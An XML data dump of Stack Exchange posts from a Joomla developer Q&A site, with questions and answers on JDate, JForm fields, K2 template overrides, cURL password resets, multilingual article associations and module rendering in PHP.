  <row Id="1040" PostTypeId="2" ParentId="1039" CreationDate="2014-05-27T18:10:04.957" Score="2" Body="&lt;p&gt;&lt;code&gt;JDate&lt;/code&gt; just extends &lt;code&gt;DateTime&lt;/code&gt; class, so you can use anything that available for &lt;a href=&quot;http://www.php.net/manual/en/class.datetime.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;DateTime&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yesterday = JFactory::getDate('now -1 day');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use &lt;a href=&quot;http://www.php.net/manual/en/datetime.modify.php&quot; rel=&quot;nofollow&quot;&gt;modify()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$now = JFactory::getDate();&#xA;$now-&amp;gt;modify('-1 day');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastEditorUserId="87" LastEditDate="2014-05-27T19:59:53.587" LastActivityDate="2014-05-27T19:59:53.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostTypeId="1" AcceptedAnswerId="1049" CreationDate="2014-05-27T22:18:50.007" Score="5" ViewCount="517" Body="&lt;p&gt;I have been using a plugin to help add extra parameters to modules, to do that I use JForm to load an xml file that is included with various plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have been using and it works in 3.0 and up, it is taken form a fieldset loop and each &quot;field&quot; is an instance of &lt;code&gt;JFormField&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field-&amp;gt;name = 'plg_form_settings['.$field-&amp;gt;name.']';&#xA;$content .= '&amp;lt;div class=&quot;control-group&quot;&amp;gt;';&#xA;    $content .= '&amp;lt;div class=&quot;control-label&quot;&amp;gt;';&#xA;        $content .= $field-&amp;gt;label;&#xA;    $content .= '&amp;lt;/div&amp;gt;';&#xA;    $content .= '&amp;lt;div class=&quot;controls&quot;&amp;gt;';&#xA;        $content .= $field-&amp;gt;input;&#xA;    $content .= '&amp;lt;/div&amp;gt;';&#xA;$content .= '&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see it worked assuming that &lt;code&gt;$field-&amp;gt;name&lt;/code&gt; is public, however in 2.5 it is protected (it is in 3 as well which baffles me, its never not worked in any version of 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the differences between &lt;code&gt;JFormField&lt;/code&gt; in 2.5 and 3 and there are massive differences, though one way or another I need to access the &lt;code&gt;$field-&amp;gt;name&lt;/code&gt; property (I do see I can do &lt;code&gt;$field-&amp;gt;__get('name')&lt;/code&gt; for read only access), I could ignore the functionality of &lt;code&gt;JFormField&lt;/code&gt; but that seems a bit counter productive to add backwards compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3 there is a function called &lt;code&gt;__set($name,$value)&lt;/code&gt; however it is not in Joomla 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any &quot;simple&quot; way to override a field name (or other property) in Joomla 2.5?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-28T18:11:10.853" Title="Joomla 2.5 differences in JFormField from 3.x" Tags="|joomla-2.5|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostTypeId="1" CreationDate="2014-05-28T09:16:53.057" Score="0" ViewCount="332" Body="&lt;p&gt;I have developed with help of @seagul code that changes output data for K2 Authors. It adds to article an author which created the item + another authors based on author_ID located in Author alias field. This code is called in K2 overrided templates &lt;code&gt;item.php&lt;/code&gt;, &lt;code&gt;category_item&lt;/code&gt;, &lt;code&gt;user.php&lt;/code&gt; etc.&lt;br&gt;&#xA;&lt;strong&gt;Code example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;This hack loads article authors&#xA;1] author where author= user&#xA;2] users where author id is in fiels article alias&#xA;*/&#xA;$authors = array();&#xA;&#xA;$authorsSql = $this-&amp;gt;item-&amp;gt;created_by; // add first author ID&#xA;if(!empty($this-&amp;gt;item-&amp;gt;created_by_alias)){ // if alias found...&#xA;  $authorsSql .= ','.$this-&amp;gt;item-&amp;gt;created_by_alias; // load Author IDs from Author Alias &#xA;  }&#xA;  $authorsSql = str_ireplace(',', ' OR userID=', 'userID='.$authorsSql); // prepare for SQL query &#xA;&#xA;  $dbo = JFactory::getDBO(); // prepare database&#xA;  $query = $dbo-&amp;gt;getQuery(true); // prepare query&#xA;  $query-&amp;gt;select('*'); // load all&#xA;  $query-&amp;gt;from('#__k2_users'); // k2 users table&#xA;  $query-&amp;gt;where($authorsSql); // only selected authors&#xA;  $query-&amp;gt;order('userName ASC'); // order alphabeticaly by name&#xA;&#xA;  $dbo-&amp;gt;setQuery($query); // run query&#xA;&#xA;  $rows = $dbo-&amp;gt;loadObjectList(); // make query&#xA;&#xA;  foreach($rows as $row) { // iterate through results&#xA;    $result .=  '&amp;lt;p&amp;gt;'.$row-&amp;gt;userName.'&amp;lt;/p&amp;gt;'; // add name to list&#xA;    $authors[] = array( // add author to array&#xA;                   'id' =&amp;gt; $row-&amp;gt;userID,&#xA;                   'name' =&amp;gt; $row-&amp;gt;userName&#xA;                   );&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This similar code must be placed in every overrided template. This is not ideal for future code development of this feature.&lt;br&gt;&#xA;&lt;strong&gt;Question:&lt;/strong&gt;&#xA;Is possible to make some &lt;code&gt;__hook&lt;/code&gt; or alike function in one place that will alter the article output data which goes to template? That I can only grab this data in template and print it?&lt;/p&gt;&#xA;" OwnerUserId="345" LastActivityDate="2014-05-28T09:16:53.057" Title="Override inner K2 function for output data?" Tags="|joomla-2.5|overrides|k2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1043" PostTypeId="2" ParentId="1000" CreationDate="2014-05-28T12:07:41.937" Score="10" Body="&lt;p&gt;THere's actually a fairly new plugin that you might want to look at called Joom Profile. Instead of a full community component, it's just made for expanding user profiles. It also gives you the flexibility to add more fields and override the output. I haven't really played with it much but I have heard good things about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/user-management/26715&quot;&gt;Joom Profile&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-05-28T12:07:41.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostTypeId="1" CreationDate="2014-05-28T14:02:19.990" Score="1" ViewCount="559" Body="&lt;p&gt;I have the requirement for a user to reset their password from a mobile application that links into a Joomla site. I have had success in logging in (authenticating and returning a sessionid) but don't seem to be having much luck with resetting a password for this external script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code successfully triggers the POST using the required form token session id required in Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;//define('JPATH_BASE', dirname(__FILE__));&#xA;define('JPATH_BASE', '../');&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;require '../libraries/import.php';&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;form &#xA;id=&quot;user-registration&quot; &#xA;action=&quot;http://siteurl/component/users/com_users/?task=reset.request&quot; &#xA;method=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;input &#xA;type=&quot;text&quot; &#xA;name=&quot;jform[email]&quot; &#xA;value=&quot;address@mydomain.co.uk&quot; &#xA;size=&quot;30&quot;&amp;gt;&#xA;&#xA;&amp;lt;button &#xA;type=&quot;submit&quot;&#xA;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;&#xA;&amp;lt;input &#xA;type=&quot;hidden&quot; &#xA;name=&quot;&amp;lt;?php echo JUtility::getToken(); ?&amp;gt;&quot; &#xA;value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting a response of (bool)false when trying to process this via cURL however...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$token = JUtility::getToken();&#xA;$emailadr = 'email@address.co.uk';&#xA;&#xA;&#xA;$url = 'http://[i]siteurl[/i]/component/users/com_users/?task=reset.request';&#xA;$vars = 'jform[email]='.urlencode($emailadr).'&amp;amp;'.urlencode($token).'=&quot;1&quot;';&#xA;&#xA;echo $vars;&#xA;&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_URL, $url);&#xA;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0 );&#xA;curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_HEADER, 0 );&#xA;curl_setopt($ch, CURLOPT_POST, TRUE);&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);&#xA;$response = curl_exec($ch);&#xA;&#xA;var_dump($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This (along with about 20 other combinations of curl parameters, urlencode toggling, swapping of arrays/strings) returns (bool) False.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any obvious faults with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do Joomla controls require certain httpheader?&lt;/p&gt;&#xA;" OwnerUserId="462" LastEditorUserId="12352" LastEditDate="2019-11-16T23:02:44.783" LastActivityDate="2019-11-16T23:02:44.783" Title="Joomla User Password Reset from an External (Standalone) Script" Tags="|development|fix-my-code|security-token|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1045" PostTypeId="1" AcceptedAnswerId="1056" CreationDate="2014-05-28T14:02:38.450" Score="7" ViewCount="985" Body="&lt;p&gt;I am confused. I have a Joomla 3 multilingual website. I managed to associate menu items and everything else, but I have a page where there is an article and below the article I put Joomla Article Category module to display other articles titles from the same category in Dynamic mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides menu associations, I also associated my categories and all articles in three languages so that in another page where a category blog is set after clicking on an article you can then change the language and be redirected to the corresponding translated page without a menu linking to the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I click in the module Article Category, it opens my article, but then when I click to the language flag to change the language to English for example, it redirects me to the English homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it happen so? How can I solve this problem without creating menu items for all articles?&lt;/p&gt;&#xA;" OwnerUserId="401" LastEditorUserId="52" LastEditDate="2014-05-30T20:56:43.680" LastActivityDate="2014-05-30T20:56:43.680" Title="Joomla Article Multilingual Associations" Tags="|php|joomla-3.3.x|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostTypeId="1" AcceptedAnswerId="1050" CreationDate="2014-05-28T15:19:40.493" Score="-2" ViewCount="1280" Body="&lt;p&gt;How can I make a PHP script that displays a users &lt;em&gt;Registered Date&lt;/em&gt; and &lt;em&gt;Last Visited Date&lt;/em&gt; as it appears in the core Joomla profile page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxM1d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="1629" LastEditDate="2014-12-21T01:59:39.860" LastActivityDate="2014-12-21T01:59:39.860" Title="PHP code to display Registered Date &amp; Last Visited Date?" Tags="|joomla-3.x|php|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1047" PostTypeId="1" AcceptedAnswerId="1052" CreationDate="2014-05-28T15:22:49.823" Score="10" ViewCount="2652" Body="&lt;p&gt;I would like to display a system message when I got back my ajax request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ajax request returns the right message. I can test it with an alert.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alert(result.message);&#xA;Joomla.renderMessages(result.message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will now show up the success or error message as a typical Joomla System Message.&#xA;But the &lt;code&gt;Joomla.renderMessages&lt;/code&gt; call, doesn't show any results. The system message won't appear on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything wrong or do I have to do something more to get this to run?&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="159" LastEditDate="2014-05-29T08:36:05.683" LastActivityDate="2014-05-29T08:36:05.683" Title="How to render System Message from AJAX call" Tags="|joomla-3.x|ajax|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostTypeId="2" ParentId="1027" CreationDate="2014-05-28T16:21:01.753" Score="6" Body="&lt;p&gt;@Lodder is definitely correct, but there is another syntax for those who are interested. I prefer this syntax because it saves typing the field names as many times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = new stdClass;&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$data-&amp;gt;username = $input-&amp;gt;get('username');&#xA;$data-&amp;gt;choice1 = $input-&amp;gt;get('choice1');&#xA;$data-&amp;gt;choice2 = $input-&amp;gt;get('choice2');&#xA;$data-&amp;gt;choice3 = $input-&amp;gt;get('choice3');&#xA;&#xA;$db = JFactory::getDbo(); &#xA;$db-&amp;gt;insertObject('#__table_name', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as your object's properties match the column names exactly, you can just insert the object directly into the table using &lt;code&gt;insertObject&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-28T16:21:01.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1049" PostTypeId="2" ParentId="1041" CreationDate="2014-05-28T18:11:10.853" Score="1" Body="&lt;p&gt;I have been working hard on this and come up with a solution, its the &quot;proper&quot; way to do it that other modules do but are hidden behind multiple layers of objects (so a bit hard to figure out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought that the problem was in &lt;code&gt;JFormField&lt;/code&gt; but it really was not. It has no need to access those properties since they only &quot;parse&quot; the fields were not made to give any direct control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is a bit of the other code I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($form-&amp;gt;loadFile($path.'/fields.xml')){&#xA;        $fieldset = $form-&amp;gt;getFieldset();&#xA;        //SQL STUFF HERE TO GET $result&#xA;        $result = $db-&amp;gt;loadObject();&#xA;        if(isset($result-&amp;gt;params)){&#xA;            $moduleParams = json_decode($result-&amp;gt;params);&#xA;        }else{&#xA;            $moduleParams = new stdClass;&#xA;        }&#xA;        foreach($fieldset as $index=&amp;gt;$field){&#xA;            $field-&amp;gt;name = 'plg_form_settings['.$field-&amp;gt;name.']';&#xA;            $content .= '&amp;lt;div class=&quot;control-group&quot;&amp;gt;';&#xA;                $content .= '&amp;lt;div class=&quot;control-label&quot;&amp;gt;';&#xA;                    $content .= $field-&amp;gt;label;&#xA;                $content .= '&amp;lt;/div&amp;gt;';&#xA;                $content .= '&amp;lt;div class=&quot;controls&quot;&amp;gt;';&#xA;                    $content .= $field-&amp;gt;input;&#xA;                $content .= '&amp;lt;/div&amp;gt;';&#xA;            $content .= '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This loops each field in the fieldset and returns an instance of &lt;code&gt;JFormField&lt;/code&gt; a more or less read only class. What should be done is any edits you want to do is done via &lt;code&gt;JForm&lt;/code&gt; itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($form-&amp;gt;loadFile($path.'/fields.xml')){&#xA;    $fieldset = $form-&amp;gt;getFieldset();&#xA;    //SQL STUFF HERE TO GET $result&#xA;    $result = $db-&amp;gt;loadObject();&#xA;    if(isset($result-&amp;gt;params)){&#xA;        $moduleParams = json_decode($result-&amp;gt;params);&#xA;    }else{&#xA;        $moduleParams = new stdClass;&#xA;    }&#xA;    $dataArray = array();&#xA;    //split the loop into 2, this way the data can be bound&#xA;    foreach($fieldset as $index=&amp;gt;$field){&#xA;        if($id!=0&amp;amp;&amp;amp;isset($moduleParams-&amp;gt;{$index})){&#xA;            $dataArray[$index] = $moduleParams-&amp;gt;{$index};&#xA;        }&#xA;    }&#xA;    //bind and reset to ensure it worked&#xA;    $form-&amp;gt;bind($dataArray);&#xA;    $fieldset = $form-&amp;gt;getFieldset();&#xA;    foreach($fieldset as $index=&amp;gt;$field){&#xA;        $output = '&amp;lt;div class=&quot;control-group&quot;&amp;gt;';&#xA;            $output .= '&amp;lt;div class=&quot;control-label&quot;&amp;gt;';&#xA;                $output .= $field-&amp;gt;label;&#xA;            $output .= '&amp;lt;/div&amp;gt;';&#xA;            $output .= '&amp;lt;div class=&quot;controls&quot;&amp;gt;';&#xA;                $output .= $field-&amp;gt;input;&#xA;            $output .= '&amp;lt;/div&amp;gt;';&#xA;        $output .= '&amp;lt;/div&amp;gt;';&#xA;        $content .= $output;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I use 2 loops, one is just to match a parameter to a field (I could probably improve it by looping the actual $moduleParams object). While the other is the same as the one I had before. In between I bind the data to form and &quot;reset&quot; the fieldset variable (not sure if its needed but it does not hurt in the debugging process. This however will only correctly change the &lt;code&gt;$field-&amp;gt;value&lt;/code&gt; as you are binding a forms value, so the other variables are still protected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I came up with a solution for name, which this question was mainly about. JForm is fairly strict on the name as it uses that as a basis for its interaction with other objects, so its best not to touch it while JForm is parsing the form, but after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function I have shown is part of a &quot;helper&quot; so I moved this outside of it and into the plugin itself. Since I am creating an html string I can use regex to find/replace.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$regex  = '/(?:name=&quot;)([^&quot;]*)(?:&quot;)/';&#xA;//CALL HELPER TO GET $content&#xA;$content = '&amp;lt;input type=&quot;text&quot; name=&quot;cc_field&quot;/&amp;gt;'; //example of part of output from helper&#xA;$content = preg_replace($regex,&quot;name=\&quot;cc_settings[$1]\&quot;&quot;,$content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow you to change the name as well, outside of issues that can be cause by editing it while the &lt;code&gt;JForm&lt;/code&gt; object is parsing the fields.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-28T18:11:10.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostTypeId="2" ParentId="1046" CreationDate="2014-05-28T19:22:58.517" Score="3" Body="&lt;p&gt;Before asking a question like this, please do some research. Seeing as you have been doing a lot of work with the user Object already, I'm surprised you haven't seen the following page yet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Accessing_the_current_user_object&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;echo '&amp;lt;p&amp;gt;Register date: ' . $user-&amp;gt;registerDate . '&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;p&amp;gt;Last visited: ' . $user-&amp;gt;lastvisitDate . '&amp;lt;/p&amp;gt;'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-28T20:48:07.643" LastActivityDate="2014-05-28T20:48:07.643" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1051" PostTypeId="2" ParentId="1047" CreationDate="2014-05-28T20:51:30.520" Score="2" Body="&lt;p&gt;The JavaScript function depends on the presence of a container with the id &lt;code&gt;system-message-container&lt;/code&gt;. Some templates don't have this container at all, or only if there is a message to show. So first check with Protostar and see if it works there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you need to make sure you actually loaded &lt;code&gt;core.js&lt;/code&gt; with your extension. It isn't necessary loaded, especially not in frontend.&#xA;Since Joomla 3.3 you can load it using &lt;code&gt;JHtmlBehavior::core()&lt;/code&gt;, in earlier version you would use &lt;code&gt;JHtmlBehavior::framework()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-28T20:51:30.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1052" PostTypeId="2" ParentId="1047" CreationDate="2014-05-28T21:32:08.423" Score="6" Body="&#xA;&#xA;&lt;p&gt;All the things mentioned by @Bakual are correct but I notice that you are just passing the &lt;code&gt;result.message&lt;/code&gt; to &lt;code&gt;alert&lt;/code&gt; and given that &lt;code&gt;[alert(message)][1]&lt;/code&gt; expects &lt;code&gt;message&lt;/code&gt; to be a &lt;code&gt;string&lt;/code&gt; or an &lt;code&gt;object&lt;/code&gt; it can convert to a &lt;code&gt;string&lt;/code&gt; this could be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;result.message&lt;/code&gt; is just a string, then you will need to wrap it in an appropriate container, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var jmsgs = [result.message];  // You can stack multiple messages of the same type&#xA;Joomla.renderMessages({'info': jmsgs });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-28T21:32:08.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1053" PostTypeId="2" ParentId="1021" CreationDate="2014-05-28T22:57:16.327" Score="7" Body="&lt;p&gt;I'm pulling from non-Joomla SSL proxy experience here. However, I believe it will work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure nginx to send an &lt;code&gt;X-FORWARDED-PROTO&lt;/code&gt; header with a value of &quot;https&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_set_header X-Forwarded-Proto https;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure Apache to set the HTTPS environment variable to &quot;on&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetEnvIfNoCase X-Forwarded-Proto https HTTPS=on&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you have those configured, Joomla should be able to figure out what's going on and adjust URLs accordingly.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2014-05-28T22:57:16.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1054" PostTypeId="1" AcceptedAnswerId="1055" CreationDate="2014-05-29T06:15:40.053" Score="11" ViewCount="11297" Body="&lt;p&gt;Can i display a Joomla module using PHP? What would be the &lt;code&gt;script&lt;/code&gt; to achieve this? (If it's possible!)&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-04-13T13:34:25.977" Title="Displaying a Joomla module using PHP?" Tags="|joomla-3.x|php|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostTypeId="2" ParentId="1054" CreationDate="2014-05-29T06:29:28.133" Score="13" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you mean to render the module output using a PHP script? In which case, then take a look at this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For older versions &lt;code&gt;&amp;lt; Joomla3.x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$renderer = $document-&amp;gt;loadRenderer('module');      &#xA;$module   = JModuleHelper::getModule('mod_fmDataGrid');&#xA;&#xA;$params = &quot;param1=bruno\n\rparam2=chris&quot;;&#xA;$module-&amp;gt;params = $params;&#xA;&#xA;echo $renderer-&amp;gt;render($module);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For latest version. Joomla3.x&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modules  = JModuleHelper::getModules(&quot;dashboard_main&quot;);&#xA;$document = JFactory::getDocument();     &#xA;$attribs  = array();&#xA;$attribs['style'] = 'xhtml';&#xA;&#xA;foreach ($modules as $mod)&#xA;{&#xA;    echo JModuleHelper::renderModule($mod, $attribs);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="168" LastEditDate="2016-04-13T13:34:25.977" LastActivityDate="2016-04-13T13:34:25.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1056" PostTypeId="2" ParentId="1045" CreationDate="2014-05-29T07:58:25.603" Score="4" Body="&lt;p&gt;I have a very similar site than your, but only in 2 languages, and this association is working for me, just make sure, that you have done these steps:&#xA;- Associate categories (you have already mentioned)&#xA;- associated articles  (you have already mentioned)&#xA;- set the language at each article (funny but I failed to do so)&#xA;- set up menus for the category blogs (if you do not want to show them on the main menu then in a hidden menu)&#xA;- set the language for each menu item&#xA;- associate the menu items as well. &#xA;- set the language at the module that displays the articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything is set and still do not work, that is probably a bug in joomla.&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-05-29T07:58:25.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1057" PostTypeId="1" AcceptedAnswerId="1058" CreationDate="2014-05-29T09:04:37.060" Score="2" ViewCount="976" Body="&lt;p&gt;I am developing a slideshow extension for Joomla 3.x. The extension consist of a component in which you can create categories and create slides. When creating slides, you assign each one to a category. The component uses Joomla's core com_categories component in order to create the categories. The component also utilises Joomla's MVC structure (I've tried to keep things as close to core as possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next part of the extension is a module. The module displays the slides from a specific category (or it should).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fully built and working apart from one feature: The module currently displays all slides regardless of category. When editing the module in Joomla I can select the category I want but I don't know how to get the module to show just the slides from that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the module at: &lt;a href=&quot;http://bdslideshow.s3.amazonaws.com/mod_bdslides_v1.1.3.zip&quot; rel=&quot;nofollow&quot;&gt;Slideshow Module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="1629" LastEditDate="2014-07-31T15:14:21.483" LastActivityDate="2019-02-02T00:35:33.647" Title="Module get items from specific component category" Tags="|component|development|extensions|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostTypeId="2" ParentId="1057" CreationDate="2014-05-29T09:20:05.420" Score="2" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your helper file your &lt;code&gt;getList()&lt;/code&gt; don't checking the category you have to add the category condition there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query-&amp;gt;select('catid, id, title, image, select_link, link, menuitem, caption');&#xA;    $query-&amp;gt;from('#__bdslides');&#xA;    $query-&amp;gt;where('state=1 AND category = ' . $db-&amp;gt;q($params-&amp;gt;get('category')));&#xA;    $query-&amp;gt;order('ordering');&#xA;    $db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But make sure your category returns only one &lt;code&gt;ID&lt;/code&gt; if it is multiple with array you have to use &lt;code&gt;IN()&lt;/code&gt; in the &lt;code&gt;query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for an example &lt;a href=&quot;http://www.walkswithme.net/joomla-banner-slideshow-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla banner module&lt;/a&gt; you can download.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="12352" LastEditDate="2019-02-02T00:35:33.647" LastActivityDate="2019-02-02T00:35:33.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
